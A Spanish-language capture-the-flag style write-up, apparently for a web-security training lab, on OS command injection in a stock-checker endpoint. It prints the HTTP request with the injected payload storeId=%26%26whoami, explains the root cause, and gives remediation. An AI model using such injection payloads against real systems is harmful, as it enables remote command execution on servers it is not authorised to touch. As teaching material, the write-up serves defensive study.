OS command injection, simple case
Inyección de comandos en el stock checker: el campo storeId se concatena en un shell command y &&whoami revela el usuario del proceso, confirmando RCE sin filtrado.
Target Overview & Vulnerability Summary
El lab os-command-injection/lab-simple contiene una inyección de comandos en el stock checker del producto. La aplicación ejecuta un comando shell que incluye los productId y storeId provistos por el usuario, y devuelve la salida cruda del comando en la respuesta. Inyectando &&whoami en storeId se ejecuta whoami y se obtiene el nombre del usuario actual.
| Campo | Valor |
|---|---|
| Severidad | Crítica (ejecución remota de comandos — RCE) |
| Endpoint vulnerable | POST /product/stock |
| Root cause | Concatenación de input del usuario en un comando shell sin sanitización (OS command injection) |
Technical Breakdown & Exploitation Flow
1. La request legítima
POST /product/stock HTTP/2
Host: <LAB-ID>.web-security-academy.net
Cookie: session=<SESSION_ID>
Content-Type: application/x-www-form-urlencoded
productId=1&storeId=1
La app construye (de forma conceptual) algo como:
stock_quantity productId storeId
2. Payload de inyección
El operador && encadena el comando inyectado al comando original; whoami se ejecuta a continuación:
POST /product/stock HTTP/2
Host: <LAB-ID>.web-security-academy.net
Cookie: session=<SESSION_ID>
Content-Type: application/x-www-form-urlencoded
productId=1&storeId=%26%26whoami
URL-encoded, && viaja como %26%26. El comando final efectivo:
stock_quantity 1 && whoami
La respuesta incluye la salida cruda de whoami (el usuario del sistema operativo que ejecuta el proceso), resolviendo el lab.
Root Cause Analysis
El fallo es concatenar parámetros del usuario directamente en la construcción de un comando shell. El storeId es entrada no confiable que se inserta en el string de comando sin escaping ni validación; el shell interpreta && como separador de comandos, y la salida del comando se refleja sin filtrar en la respuesta. La app entrega de facto un backdoor: cada campo que alimenta el shell es un punto de ejecución.
Secure Remediation
- No invocar shells para funciones que una API del sistema puede resolver. Para el stock, usar el mecanismo de la aplicación (ORM/API del proveedor) pasando IDs como datos tipados, nunca como fragmento de comando:
def check_stock(product_id: int, store_id: int):
return stock_api.query(product_id=product_id, store_id=store_id) # sin shell
- Si un shell es imprescindible, ejecutar sin intermediario shell y pasar argumentos como lista, nunca como string concatenado:
subprocess.run(["stock_quantity", str(product_id), str(store_id)], capture_output=True)
- Validar los IDs contra patrones estrictos (
^\d+$) en el servidor. - Ejecutar el proceso con el menor privilegio posible y bajo un seccomp/contenedor restringido para limitar el impacto de un compromiso.